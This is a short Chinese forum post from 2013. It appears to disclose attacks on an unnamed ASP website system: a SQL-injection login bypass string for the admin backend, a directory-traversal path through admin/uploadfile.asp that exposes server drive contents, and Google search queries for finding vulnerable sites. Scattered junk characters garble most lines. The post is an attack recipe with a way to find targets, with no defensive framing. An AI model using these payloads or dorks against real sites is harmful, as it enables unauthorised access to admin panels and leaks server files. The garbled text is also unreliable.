后台万能密码 'or'='or'0 S* Y1 Q0 [2 e5 T0 y; v+ o# u; a
; z9 x* g! g3 h5 ]" }" S
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！6 a3 [) r8 B2 d0 v2 }6 L
admin/uploadfile.asp?currentFolder=/upfiles/../1 K5 F4 ~* f+ w3 ]+ {4 x8 \
% k' r0 [, t, G- x
漏洞证明：# ]6 h# ]: b- P" i# M% d
* M# \- Y& |* P. i, S谷歌：inurl:type.asp?id=1 新闻中心/ u( n( _& I) n0 \9 ]2 H! l3 n4 l( G
或者 ：inurl:download_ok.asp?! ]1 U6 u1 \% G% @/ D( K
* i; l8 F% y. c8 E |
发表于 2013-3-14 20:17:32
收藏
支持
反对